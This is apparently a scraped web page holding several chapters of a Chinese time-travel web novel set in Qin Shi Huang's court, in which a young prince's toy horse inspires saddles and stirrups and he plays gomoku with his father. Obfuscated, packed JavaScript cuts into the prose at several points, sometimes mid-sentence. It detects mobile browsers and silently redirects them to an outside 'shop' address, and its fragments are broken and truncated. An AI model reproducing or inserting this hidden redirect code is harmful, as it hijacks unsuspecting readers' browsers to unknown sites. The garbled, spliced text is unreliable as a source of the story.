l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124596|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片阴影,原来是小明蹲了下来。 小明伸出手,又轻又快地整理了一下赵乐秦的衣襟。 赵乐秦又不是真小孩,衣服根本没有乱到需要整理的地步。 哈——小明爱他。 被这么一打岔,赵乐秦顿时回神,向着小明咧嘴一笑。 此时张八子已经已经恢复从容的仪态,把荣禄交给了侍从。 如果不看她脸上残留的红晕,一点都看不出来她刚刚那番百米冲刺。 赵乐秦行礼问安道:“见过张八子。” 张八子忙欠身回礼,温声道:“十八公子安,快免礼!” 她说完直接蹲下身子,注视赵乐秦的眼睛真诚地开口:“今天多谢十八公子帮忙,我才能这么快找到荣禄,实在不知道如何感谢才好。我没什么好东西,不过今早做了一些蜜饵,公子可愿意去我宫里尝尝?” 赵乐秦弯起眼睛,甜甜开口:“好呀!那我可要大吃一口。” 张八子挂起姨母笑——太可爱了,她可算是知道为什么王上这么宠爱十八公子了。 走到宫室后,侍从带着荣禄下去清洗,张八子和赵乐秦分坐在食案两侧。 张八子特地把蜜饵和蜜水放到靠近赵乐秦的一边,眉眼含笑:“快尝尝。” 赵乐秦拿起一块蜜饵,啊呜咬了一口。淡淡的米香和蜜的甜味在口腔中弥漫开来,赵乐秦眼睛一亮:“好吃!” 张八子托着腮帮子,瞧着对面小人儿吃得脸颊鼓鼓的模样,不知不觉便看入了迷。她目光黏在那圆鼓鼓的小脸上有点移不开,也忍不住伸手拈了块蜜饵,放进嘴里开始嚼嚼嚼。 赵乐秦和张八子两个人你一块我一块,很快把一叠蜜饵吃得干干净净。 侍从上前轻声请示:“八子,公子已理净,可要抱来见您?”。 张八子一惊,陡然回神——糟了,她是要款待十八公子的,怎么也吃得这么起劲。 看了一眼光可鉴人的漆木槃,张八子轻咳一声:“放到榻上吧。再把荣禄的小陶俑拿来。” 赵乐秦看到荣禄的玩具,兴致勃勃地给张八子讲起他的游乐场计划。 他拍着胸脯保证:“我一建好就邀请十九弟来玩!” 赵乐秦说着无意识扭头望向荣禄,被惊得陡然止住话音。 张八子顺着赵乐秦的目光看去,只见荣禄正专心致志地摆弄他的小陶俑。 她左看右看,没瞧出什么危险:“怎么了?” “顺序!”赵乐秦猛地伸出手,指着荣禄在榻上摆出的图案,“荣禄是在按1、2、3的顺序在摆小陶俑!” 张八子又看了一眼荣禄,迟疑地开口:“这……又怎么了?” 赵乐秦在心里有一万句槽要吐。 荣禄才一岁!话都不会说的年纪,却对数量多少和顺序有感知,这不离谱嘛? ——上一个这么干的一岁小孩儿,后来成了史上最年轻的奥数金牌得主哇! “我觉得十九弟可能是个……”赵乐秦着急地拍大腿,“天授之才!” 其实赵乐秦本来想直接说数学天才,但他不知道怎么解释这个概念。 目前,华夏大地上所有的主流学派,都是奔着向君主推销自家的治国理念去的。没有一个学派会说“我们就是单纯崇尚数学严谨、有逻辑的美”,即使是对数学研究最深的墨家,也只是“数学服务技术”的导向。所以,大秦有大儒、有巨子、有辩者、有真人,就是没有数学家。 不过赵乐秦很快放松了下来,嘿嘿一乐。 ——没事,以后这小子从小学到高三的数练习册,他包了! 而张八子听到这话…… 她微妙地看了一眼激动的赵乐秦。 赵乐秦不明所以。 ——唔?天授之才这个解释还可以吧? 张八子发现十八公子真的是这么想的,她只好扭过头,仔细端详着被鉴定为天才的荣禄。 荣禄发现他的阿母看过来,开心地吐出一个口水泡泡。 张八子捂着胸口别过脸去。 11. 随机羡慕死一个路过的小孩 小明给赵乐秦送上小木剑与头盔。 小明给赵乐秦穿上骑装、护膝、护肘。 小明给赵乐秦递上小木马的缰绳,对着后面的几个乐工使了个眼色。 下一秒,《云宫迅音》的前奏响起,穿好全套装备的赵乐秦神气地翻身上马,剑指前方:“驾!” 在全套bgm中,小明拉着赵乐秦坐着的木马,开始秦宫巡游。 “公子今天可还要去看游乐场?”小明只用一只手就可以轻轻松松地拉着小木马行进,在音乐声中微微放大声音问道。 赵乐秦迅速地摇了摇头。虽然他恨不得游乐场拔地而起,但是秦朝连个锯子都没有,项目进度忒慢。连着看了几天后,赵乐秦很快就失去了兴趣。 既然游乐场一时半会儿玩不了,赵乐秦便想给自己找点乐子——还有什么比对着小孩炫耀全套奥特曼更令人快乐的呢?赵乐秦决定做一个冷酷无情的玩具大王,羡慕死秦宫里的一众兄弟姐妹。 赵乐秦满脸笑开了花,对着小明道:“我们按着顺序,一个、一个地路过我兄姐的宫室。” 小明嘴角微微一抽,在乐工们憋笑的视线下恭敬应诺。 赵乐秦这次秦宫巡游前特地向乐府要了几个乐师,让小明提前带着他们排练。 从《云宫迅音》到《最炫民族风》,练得越好补贴越高。金钱激励下,赵乐秦迅速拉起了一只既可高雅阳春白雪,又能通俗下里巴人的乐队,保证谁听到了都想出门看看是怎么回事。 小明在前面拉着赵乐秦的小木马,见快到了二公子的宫室,便开口提醒道:“公子,我们快到了。” 赵乐秦正懒懒地闭眼享受音乐,听闻立刻睁开眼看去,他眼睛亮晶晶的:“我记得二兄的名字是将闾对吗?” 小明回忆一瞬,回道:“是的。二公子名将闾,长您9岁。” 赵乐秦掰指头算了一下年龄,露出邪恶比格的笑容:“换曲子!小明你也一起来,吹《孤勇者》!” 下一刻,笛声、弦声、鼓声一齐响起,在赵乐秦兴奋地注视中,前面的宫室很快探出了一个头,然后又迅速缩了回去。 赵乐秦激动地挥舞着小木剑:“再大声点!” 音乐声顿时又高了一截,成功传入前方的宫室。 正在背书的将闾抬起头,疑惑地看向侍从:“好像有什么声音?” 这时,外间一个侍从进来,低声禀报:“公子,有一群人正在往我们这边走。领头的好像是十八公子。” 音乐声越来越大,将闾低头看着竹简,发现自己好像不读进去了。他干脆放下竹简,开口道:“走,我们去看看怎么回事。” 此时,赵乐秦和他的乐队此时已经走到了宫殿门口,将闾一出门,刚好听到了《孤勇者》的高潮部分。 赵乐秦举着剑,坐在小马上抬头望向将闾。 将闾扶着门,低头望向赵乐秦。 两人就这么互相对视着听完了整首歌。 在前所未有的音乐风格的冲击下,将闾沦陷了。 赵乐秦颇有气势地翻身下马,对失魂一般的将闾行礼:“二兄安否?” 将闾快步上前,一把握住赵乐秦的手,表情真挚地看向自己的幼弟:“阿弟,能否告诉我这是什么曲子?是谁做的?” 赵乐秦咧嘴一笑,扬声喊道:“小明!” 小明刷地一下扭头看向赵乐秦,眼底满是不可置信,然后又看向面带期盼之色的将闾,深吸一口气道:“二公子,此曲是臣所作,名为《孤勇者》。”。 赵乐秦耸耸肩,开口道:“这个是父王赐给我的侍从,他及善音律!” 将闾听到小明是嬴政特赐的,又估摸着幼弟不舍割爱,顿时满眼失望。 赵乐秦见状非常满意。虽然将闾没有注意自己酷炫的骑装,也不在乎他华丽的玩具木马,但他仍然用bgm狠狠显摆了一回。 英雄联盟,有德啊! 赵乐秦笑容满面地行礼告退,向身后的乐队挥挥手:“接着奏乐!” 《孤勇者》的旋律再次响起,将闾满脸羡慕地看着赵乐秦带着乐队走远,想起自己还没背完书,顿时悲愤不已。 “阿弟怎么能过得这么快乐!” 带着来自二兄的艳羡,赵乐秦美滋滋地把剩下的宫室一个个溜过去,乐此不疲地收获一众小孩哥、小孩姐的羡慕眼神。 赵乐秦掰着指头数了数,现在基本整个秦宫都见识了他的快乐巡游,只剩下他最亲爱的、最勤奋的、最爱学习的扶苏阿兄了! 此时已经是下午,扶苏正在学马术,赵乐秦兴致勃勃地拉着队伍向校场走去。 校场依宫墙而建,夯土地面被常年的马蹄踏得细密坚实,冬日里好似泛着浅褐的光泽。湛蓝色的天幕下,几人骑着高头大马,一起绕着校场疾驰,一眼望去气势非凡。 赵乐秦远远看到奔驰的马匹,想了想对乐队比了个手势:“停!万一惊到马就不好了。你们在这休息一会儿吧。我和小明进去便可。” 乐队众人行礼应诺,四散休息。小明也收起他的笛子,拉着小木马跟在赵乐秦身后,一同向校场入口走去。 扶苏刚好跑完一圈,听到动静看过去,发现竟然是赵乐秦站在了校场门口。他勒辔止马,扭头向蒙恬请示:“蒙将军,我十八弟来了。我担心他有什么事,能否先暂停一下?” 蒙恬是扶苏习武的师傅,他眼神如鹰,早就瞧见了门口的幼崽。 蒙恬听到扶苏的话,便也停下了马,颔首开口,浑厚的嗓音一开口宛如闷雷:“臣与公子同去。” 扶苏忙道:“还请蒙将军一会儿骑得慢些,十八弟年龄尚幼,我担心吓到他。” 蒙恬点点头,向门口看去。 远处的幼崽正挥舞着自己的小木剑,明显……面带兴奋? 蒙恬下意识又回头看向扶苏。只见长公子正望着赵乐秦的方向,眼底带着明显的担忧。 扶苏和蒙恬两人向门口慢慢骑去,在离赵乐秦三四米远处便停了下来,改为步行。 赵乐秦望着扶苏从马上翻身而下,情不自禁地打了个哆嗦。 ——要不要这么猛?就这么光秃秃地骑在马背上? 扶苏连忙上前,蹲下身安抚道:“不要怕,这马很温顺。” 赵乐秦顺势扑到扶苏怀里,搂着脖子蹭了蹭,软声开口:“我不怕,阿兄会保护我!” 扶苏抬手想摸一摸幼弟的头,结果看到他带着小木头盔,便转而抚了抚幼崽的背:“对,我会保护你。” 蒙恬在旁边看着赵乐秦明亮的眼神,心底又生出来淡淡的疑惑:为什么他觉得十八公子好像并不害怕?又看了一眼赵乐秦的身高,觉得自己大概是最近没有睡好。 扶苏见赵乐秦恢复了活泼的样子,便牵着幼弟的手介绍道:“这是蒙将军,名恬。蒙家是武将世家。蒙将军其父与大父皆为秦国名将,鞍马之勋著于竹帛,实乃战功赫赫。” 蒙恬努力放柔自己的脸,压低声音行礼道:“十八公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124597|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子安。” 赵乐秦被雄浑的声音震得往后一仰,觉得自己要是个真小孩,这时候应该已经被吓哭了。看着难掩一身凶悍之气的蒙恬,赵乐秦笑眯眯道:“免礼免礼。” 扶苏看着赵乐秦一身利索打扮,好奇地开口:“阿弟今日怎么特地来校场找我?难不成你是想骑马?” 赵乐秦回神,连忙招呼小明拉过来自己的小木马,隆重介绍道:“不。阿兄,我是来给你看看我的小马!” 蒙恬和扶苏顺着小孩手指的方向望去。 这是一个非常逼真的小木马,除了马蹄部分被做成了轮子的形状,其余地方几乎一比一复刻,连毛流感都造了出来,看起来神骏非常。 赵乐秦拍一拍自己的小木马,骄傲道:“好看吧!我一路上遇到好多阿兄阿姐,他们看到我的小马都非常羡慕呢!” 蒙恬看着赵乐秦的小木马有些沉默:能不羡慕吗?那马背上铺的东西好像是锦缎吧? 赵乐秦顺着蒙恬的视线看过去,拍手喊道:“小明,我们来给蒙将军展示一下!” 小明立刻上前。 小明先手指一挑,解下了锦缎垫子,他举起来给蒙恬展示了一下,赵乐秦满意地点头道:“这是我好看的垫子!” 小明把垫子放在一旁,继续解下第二层,是两个马蹄形的木环,他又举起来给蒙恬展示了一下,赵乐秦继续讲解:“这是我好看的马镫!” 小明接着把马镫放在一旁,解开最后一层,是一个两头高、中间低的东西,他又举起来给蒙恬展示了一下,赵乐秦大声说明:“这是我好看的马镫!” 全部解开后,小明把光秃秃的小木马旋转三圈,进行了完整展示,然后手指翻飞,刷刷几下就把几样东西都绑了回去。 赵乐秦等装备一安好,立刻翻身上马。他踩着马镫,举起木剑,大声喊道:“岂曰无衣?与子同袍!前进!前进!” 两人的配合流畅无比,看上去宛若重复了十几次一样熟练。 蒙恬一半脑子环绕着赵乐秦的“好看”、“好看”,另一半脑子却被这一番演示点亮了。一个不可思议的想法逐渐升起,他盯着赵乐秦小木马上的装备,整个人如遭雷劈: 若是、若是在真马上也配上这马镫和马鞍? 蒙恬抖着声音开口:“十八公子,您是怎么想到的?” 赵乐秦已经收了造型,浑不在意地拍了拍小木马:“啊你说这个?我当然是为了让小马更好看呀!不过小马做得太真了,我害怕掉下来,就让匠人又给我做了几样小玩意儿。嗐,你还真别说,安上去之后我感觉坐得稳当多了!不过本来我还想做个马蹄铁呢,那我的小马一动起来踢踏的声音得多好听啊!可惜那匠人说他做不出来会动的马……” 赵乐秦清脆的童声在蒙恬的耳朵里逐渐缥缈,他紧紧盯着赵乐秦小木马上的装备,片刻后,倏然扭头看向扶苏:“公子,臣忽然想起要事,今日的内容能否容臣改日再补上?” 扶苏还在应和幼弟,有些茫然地开口:“好啊,蒙将军先去忙吧。” 蒙恬匆匆拱手一礼,便头也不回地快速离去。 赵乐秦看着蒙恬几下便没了影子,眨巴眨巴眼又看回扶苏,他觉得蒙恬应该get到了他的意思。 扶苏看着赵乐秦的表情疑惑道:“阿弟,怎么了?” 赵乐秦快速地看了一眼扶苏的屁股,摇摇头没有说话。 ——没什么,不过是看不下去你再骑这种裸马,要救你屁股的命罢了! 12. 我爸比你爸强 十八公子一番大张旗鼓地展示后,蒙恬立刻意识到了里面巨大的潜力,当天就告假回家搞出了骑具1.0版本。 第二日,天刚蒙蒙亮,蒙恬就牵着马到了家里练武场上。他绑上一夜未睡赶出来粗糙骑具,翻身上马,开始测试。 蒙恬的阿父蒙武听到了动静,也走到了练武场。 老将军看到儿子马上的装备先是一愣,然后两眼放光,一胳膊把蒙恬挥退,自己翻身上马。 蒙恬不敢争抢,只好老老实实地站在原地等他阿父过完瘾。 老将军一上手,便知有没有。他跑了几圈便勒辔止马,停在在蒙恬面前,从马上一跃而下。 “彩!彩!” 老将军粗狂的笑声在练武场回荡,蒙恬也傻笑一声,连声应是。 蒙武看着大儿子呆头呆脑的样子,一巴掌拍到了他的后脑勺上。 蒙恬被老爹不讲道理的偷袭打得一个趔趄,懵逼地抬头,迎面便是一声训斥。 “足基不稳,今日加练!” 蒙恬顿时收起了笑容,换上严肃的表情沉声应诺。 蒙武又看了一眼马具,脸色和缓许多,蒲扇版的大掌拍了拍好大儿的肩膀:“不过这马上的装备不错,怎么想到的?” 蒙恬正呲牙咧嘴地摸着后脑勺,听到阿父的话又赶紧摆手:“这是十八公子的想出来的,我不过是模仿着做了一下罢了。” 蒙武听到这话一双虎眸顿时瞪了过来:“真的?!可是我记得十八公子还是个两岁小儿吧?” 蒙恬确定地点点头:“昨日我入宫教长公子骑马,碰巧十八公子来寻。十八公子牵着一个小木马,那个小木马上就有马鞍、马镫,十八公子还说想加马蹄铁,但是毕竟不是真马就没有做。我看到后便想试一试。” 蒙武想到家里同龄的小儿子还在活泥巴玩呢,顿时倒吸一口凉气:“真不愧是王上的骨血!” 他又看了一眼正在傻傻点头的蒙恬,不放心地叮嘱道:“十八公子确实是搞出来了一个不得了的东西。阿恬赶紧上奏王上,不可延误,不能居功!” 蒙恬听着阿父的交代连连点头。 蒙武左右看看,四处无人。 他想了想又拉着蒙恬走到练武场中心,悄悄压低声音问道:“阿恬,十八公子有没有说他是咋想到的啊?” 蒙恬僵住了,看着阿父好奇的神色,一向爽朗的老秦人难得有些结巴:“好像、好像是因为这样好看。” 见多识广的老将军一时没压住声音,诧异地望向蒙恬。 “——啊?” · 几日后。校场里铺满碎石的跑道上,数名秦兵骑马疾驰,掀起阵阵尘土。然而与当世的其他骑兵不同,这些秦兵在马背上射箭时不仅速度不减,全程保持高速行进,而且其身体异常平稳,疾驰时还隐隐有铁器撞击的振响。 嬴政站在正北面的王台上俯视校场,玄色戎袍在风中猎猎作响,看到这一幕抚掌大笑:“大善!蒙将军可是为寡人立了大功。” 蒙恬站在嬴政东侧低一阶处,听到此言立刻躬身抱拳,语气谦逊:“实乃十八公子妙思,臣不敢居功。” 嬴政走下一阶,不容置疑地把行礼的蒙恬扶起,拍了拍蒙恬的肩膀:“蒙将军谦逊。寡人幼子虽聪颖,但没有你时刻心系国事,怎能立刻发现这里面的机巧?更何况,你不仅改良了马鞍、马镫,那马蹄铁可是你一点点试出来的,怎能不是你的功劳呢!” 蒙恬目光诚恳地看向嬴政:“王上,鞍镫蹄铁看似寻常,然其难不在造,在见人所未见。十八公子年龄虽幼,却能先觉其用,实乃天纵之才。即使没有臣指出,来日王上见到,也必能想到此物妙处,臣不过是占得先机凑巧罢了。大秦伐赵在即,得此神物助力,实乃天佑大秦。” 嬴政听到“来日王上见到”的话便额心骤跳。他面色不变,向蒙恬微微颔首。 蒙恬所言并非无稽——赵乐秦非常擅长找理由凑到嬴政身边,和其他不敢打扰父王的子女完全不同。从“阿父,我想出了一个大计划!”,到“阿父,我组了一只乐队。”秦宫巡游还在准备阶段,大喷嘴赵乐秦就把消息给嬴政漏了个七七八八。 在这种高频分享下,嬴政连赵乐秦的巡游路线都一清二楚。他敢保证,不出一周,赵乐秦准会把那“四海八荒第一好看的木马”拉来咸阳宫。 这时,数位骑兵已经结束演练到了王台处,齐齐翻身下马,带着一股令行禁止的肃然之气。他们行礼后便敛容立在台下,虽然浑身冒着热气儿,却没有一点呼哧带喘的狼狈之态。 为首的士官出列行礼,他面带喜色大声报告:“王上,臣等今日反复试验,配上新装备后,臣等可双手持械,不必担心坠马,且省力非常,也不必担心碎石。我大秦骑兵的奔袭之能、射战之效,当可提升数倍!” 嬴政声音威严:“赏。今日辛劳,尔等各归营安歇。” 台下众人面带喜色,轰然应诺,蒙恬亦行礼告退。 嬴政看看天色,准备回咸阳宫继续批阅奏书,心里琢磨着怎么赏一赏又立下大功的幼崽。 他才走到咸阳宫,就听见一道快活的喊声由远及近。 “父王——安否——” 嬴政抬眼一瞧,远处那正哒哒哒往这边跑的小身板,不是赵乐秦又是谁? 嬴政停下脚步望去,身后的侍从也跟着无声地立在原地,一起等着赵乐秦蹦蹦跳跳地跑来。 嬴政看着赵乐秦边跑边嗷嗷叫,面上浮现一丝无奈。 有时候嬴政真的对自己幼子感到惊叹了,他在有赵乐秦之前,着实想不到这个世上还有这般精力旺盛的小孩。还没他腿一半长的年纪,就能从庖厨折腾到尚方署。听听这又亮又大的嗓门,不知道的以为他养了条犬呢。 等赵乐秦跑到近前,额头都冒着白气儿,嬴政弯下腰摸了摸他微微汗湿的头,拉着赵乐秦回到室内。 到了室内,赵乐秦非常自觉地脱鞋上榻,然后踮着脚摸到漆案上的小木杯,咕嘟嘟灌下一杯水。 嬴政亦脱鞋上榻,看着幼崽喝完一抹嘴,往后向着他的方向啪叽一倒,靠在他的腿边,像一只晒太阳的狸猫。 嬴政的嘴角微微勾起,轻轻捏了一下赵乐秦的脸蛋,待赵乐秦看过来,开口道:“亥儿,你又立了一功,可有什么想要的?” 赵乐秦满脸疑惑,一副摸不着头脑的样子,非常随意地挥了挥手:“都是小事,能助阿父足矣。阿父身康体泰就是我最想要的奖赏了。” 嬴政看着赵乐秦一派纯然的样子,忽然有种使劲儿揉搓他小脸的冲动。嬴政微微闭眼压下突如其来的欲望,又坚持道:“你这次可算是立了大功,我大秦赏罚分明,寡人定要厚赏于你!” 赵乐秦迟疑地“唔”了一声,然后忽然眼前一亮,兴冲冲地开口:“阿父,我真有一个特别想要的奖赏!” 看着幼子活泼的样子,嬴政的声音也染上了笑意:“你说。” 赵乐秦嘿嘿一笑,期待地看向嬴政:“我想阿父陪我玩半个时辰的游戏。” 嬴政先是一怔,然后微微叹气:“就这个?” 赵乐秦一咕噜爬了起来,坚持道:“就这个!”,然后又补充道:“但是我要指定一个游戏玩。” 赵乐秦说完,一下扑到嬴政身上,抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124598|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的手摇来晃去:“我只想要这个,好不好嘛?” “好、好!” 嬴政看着赵乐秦偷笑只觉得可怜可爱,暗自思忖稍晚送去点什么赏赐。 赵乐秦见嬴政答应,当即叭叭叭地讲了一遍五子棋的规则,然后看了一眼旁边的史官,脸上笑得无比灿烂。 围棋他从来没有了解过,硬碰硬纯属找虐;但五子棋可就不一样了,他现在的脑子里有好几套棋谱呢! 今天,他就要在史书上留下一笔——“小儿郎智胜西秦主,十八郎弈棋斗秦王!” 侍从摆棋盘时,赵乐秦连忙调整了一下自己的站位,让自己的正脸对着史官。 他咳嗽两声,然后非常有气势地一甩袖子。 “我要和阿父堂堂正正一战!阿父可不要因我年幼退让。” 嬴政心思一转便猜到了赵乐秦的想法,看着幼崽大义凛然的表情,他也扫了一眼史官,微微眯起眼睛。 “你确定?” 兴奋的赵乐秦猛猛点头。 嬴政又反复询问几遍,然后在赵乐秦的连声确认下,不得不使出他七国争霸的真实水平。 第一局,思维敏捷、逻辑缜密的嬴政,把赵乐秦杀了个七进七出。 第二局,心思沉潜、布局深远的嬴政,让赵乐秦顾此失彼、处处受制。 第三局,目光如炬、落子如电的嬴政,把赵乐秦逼得步步维艰、满盘皆输。 第四局,算无遗策、步步为营的嬴政,将赵乐秦围得水泄不通、无路可走。 第五局,稳扎稳打、攻守兼备的嬴政,把赵乐秦的棋路断得七零八落、无力回天。 …… 半个时辰过去,赵乐秦发现自己一局都没赢。他绝望地看了一眼史官,软软地往后一倒,宛若一只无法选中胡萝卜的猫猫。 嬴政好笑地捏了捏赵乐秦丧丧的脸:“寡人已是大人,你尚且年幼,寡人胜于你岂不是常理?待你长大一些,寡人再陪你玩一次。” 赵乐秦打了个滚,躲开大爹的魔爪,眯起眼睛望着嬴政, 半晌,赵乐秦忽然幽幽开口:“阿父,我发现,我现在就有一样胜过你了。” 嬴政眉心一跳。 ——他看着赵乐秦的表情就知道准没憋什么好话! 但幼崽今天确实输惨了…… “你说。” 赵乐秦先下榻穿好鞋子,然后把嬴政的鞋子拿远,又跑回榻边拉拉他的袖子。 嬴政微微俯身,心里升起好奇。 赵乐秦踮起脚,对准嬴政的耳朵,深吸一口气大喊: “我阿父胜过你阿父!” 赵乐秦喊完,立刻头也不回地窜了出去,生怕嬴政回过神来揍他。 嬴政被震得嘶了一声,连忙后仰拉开距离,揉着自己的耳朵。 等他反应过来听到的内容,先是一愣,接着便下意识厉声怒斥:“竖子顽劣!” 见嬴政发火,殿中的侍从们哗啦跪了一地。 而此时赵乐秦已经跑出了一段距离,他不仅不怕,还停下来冲着嬴政做了个鬼脸,又慌慌张张撒腿就跑。 嬴政看着幼子难掩得意的小表情,迟疑几瞬,终是任由他跑远了。 没有了赵乐秦的大呼小叫,殿内重新陷入寂静,侍从们迅速地收拾好棋盘,一一退下。 嬴政一直看着门口,端坐未动。 良久后,嬴政发出一道难辨喜怒的声音,似是怅惘,又像轻嗤,然后径直起身,走向堆成小山的竹简。 落日余晖漫过案几,拉出嬴政孤峭的背影,殿内只余笔墨摩挲竹简的轻响,愈发衬得满室寂然。 13. 这不得加点学习的担子? 食案上,刚出锅的炸鸡腿被摆在公子高面前,几乎是在以一秒一个的速度消失。 “慢点吃,慢点吃,弟这里还有。”赵乐秦看着公子高堪称凶残地啃鸡腿,连忙推过去一碗蜜水。 公子高端起来咕嘟嘟地喝下,感动得眼泪汪汪:“阿弟,你真好。” 赵乐秦又无奈地递过去自己的小佩巾:“阿兄,擦擦。” 公子高接过来擦了擦嘴,放慢了吃鸡腿的速度。如果不看他眼里的绿光,现在至少面上已经恢复了公子的仪态。 赵乐秦看着对面鲸吞的架势只想笑。 赵乐秦发现,他排行前三的兄长们真的各有特色。 大兄扶苏是个孝悌拉满的标准继承人,整天学习文韬武略,忙得不可开交。 二兄将闾是个中二少年,目前好像爱上了玩音乐,开始研究吹拉弹唱。 三兄高则是个吃货,一个不幸生在贫瘠时代的日子人。 那次赵乐秦巡游一个个宫室逛过去,快走到公子高的宫室时已经中午了。 赵乐秦本想打道回府,结果忽然闻到了前面传来的饭香,顿时脚尖一转,直奔香味而去。声势浩大的乐声把公子高诱捕到了门口,赵乐秦还在想怎么开口蹭饭吃,结果公子高就脱口而出: “你就是我那个做出豆腐的十八弟!” 赵乐秦呆了一瞬:“啊、啊,是的。” 公子高眼睛一亮,立刻走上前:“我早就想见你了,十八弟!” 他看都不看赵乐秦的乐队和小马,靠着远超同龄人的体格儿一把抱起赵乐秦,眉开眼笑地往宫室走:“阿弟,你可真是大才!” 赵乐秦一脸懵逼地被抱进来,然后又一脸懵逼被放到食案处。 “阿弟,你来的正好,我们一起吃!” 赵乐秦抬头看看他自来熟的三兄,又低头看看食案上满当当的菜品。 赵乐秦乐了。 这个三兄,玩具大王在他眼里一文不值,只有美食能留下一席之地。 “多谢三兄!” 赵乐秦毫不见外地抄起筷子,一顿大快朵颐。 吃饱喝足,赵乐秦懒洋洋地给公子高讲起他的“1号实验”,公子高听到里面“控制变量”、“穷举”的原理后顿时瞪大了眼睛:“阿弟你可真聪慧!我从来没想到能这样做菜!” 赵乐秦微微一笑,一脸高深莫测。 其中的妙妙科学原理当然是很厉害了,但是这么做饭主要还是因为他瞎猫。 公子高则是一脸若有所思,直到赵乐秦要告辞才回神,依依不舍地站在门口,目送着自己有大才的十八弟离去。 赵乐秦和公子高的第一面,互相都给彼此留下了非常深刻的印象。 从那以后,赵乐秦如果做出来了什么好吃的,第一个想起的就是他慧眼识珠的三兄。而公子高则非常具有吃货的礼节,每次上门绝不空手,回回都带着一大包吃食,一定要和他有大才的十八弟一起品鉴。 时间长了,两人成为了关系相当好的饭搭子。 嗐,爱吃的能是什么坏人! 今天赵乐秦终于成功折腾出了豆油,做出了些炸鸡腿,立刻就喊来了他的老吃家三兄。 果然,高油高盐高蛋白的炸鸡腿横空出世,一下子就俘虏了没见过什么世面的小饕。公子高今天吃得是两眼放光,从来没有这么开心过。 “三兄,我试了好多次,这豆出油实在寡薄。” 赵乐秦其实早就吃饱了,但是看着对面吃起来实在是香,又伸手挑了一个小一些的慢慢啃着:“一石大豆有六十秦斤,得油才十秦斤。如果我们以后还想要炸鸡腿,我看还得找一找其他能出油的草木。” 公子高从鸡腿世界拔出脑袋。 “阿弟说的法子不错,我觉得可行。不如一会儿我亲自试试,回头再让我外家派人寻些稀罕的草木。” 赵乐秦爽快道:“好啊,三兄你觉得吃好了我们就去。” 在赵乐秦和公子高钻研榨油工艺的时候,嬴政正好处理完了一批奏疏,沿着宫道随意散步,不知不觉地就走到赵乐秦的宫室附近。 忽然一股风刮过,浓烈霸道的香味儿一下子钻到众人的鼻子里,侍从们顿时觉得腹中空空,纷纷瞪大了眼,四处张望香味的来源。 嬴政抬头嗅了嗅,辨别了一下方向,顺着香味寻了过去。 此刻的庖厨一气儿迎来两位公子,里面热闹非常。 赵乐秦站在一个倒扣的圆陶瓮上,给公子高加油鼓劲。 “……人可以不学习,人还能不进食吗?有了阿兄,我们来日的食案上必会更上一层楼!你就是未来庖厨之祖,指不定还有后人每年给你祭祀。什么赫赫功业,什么巍巍宫阙,百年后都是一抔尘土。唯有三兄你功绩永存!” 赵乐秦翘起食指,双手像手风琴一样来回挥动:“没有人比我更懂记忆!谁会记得某君某年的封侯拜相、攻城略地?大家围坐食案前,只会记得每一道美食都是出自三兄你啊……” 公子高听着赵乐秦描绘的前景心潮澎湃,他使劲儿咽了咽口水,翻炒豆子的胳膊挥舞地更起劲儿了。 嬴政从窗户看到这一幕,又听到赵乐秦得意洋洋地连发暴论,眼见着大秦三公子马上要立志成为主庖了。 一瞬间,赵乐秦过去的种种事迹涌上心头,嬴政忽然觉得自己真是错得离谱。 他真不应该觉得十八子虽然天生慧黠,但到底还是稚子,贪玩些也无妨。 这竖子现在都敢干出这么多事来,以后要干什么他都不敢想! 而赵乐秦忽然觉得背后一凉,扭头一看,发现他大爹正站在窗边,脸色宛如乌云密布。 赵乐秦的眼睛瞬间瞪大,话锋当即一转:“……当然也不会忘记,我们即将统一六国的父王!我们心里只有王上一个太阳!大秦万岁!” 赵乐秦心里大呼好险,连忙顺着圆陶瓮的边沿呲溜滑下去,老老实实站在地上,半点看不出刚刚的懂王做派。 嬴政看着还没灶台高的赵乐秦生生气笑了。 这般见风使舵的本事,这么炉火纯青的演技。 ——没有人比他更懂佞臣! 他抬脚走进庖厨,众人哗啦啦行礼跪了一地。 公子高这才后知后觉地反应过来。他连忙放下木铲慌慌张张地行礼,然后便站在原地不敢动弹了。 公子高像是被捏起后颈的猫,一边努力缩小自己的存在感,一边在塞满了美味鸡腿的脑子里拼命搜刮记忆——那篇文章是什么来着? 赵乐秦黏黏糊糊地上来行礼问安,张口就是甜言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 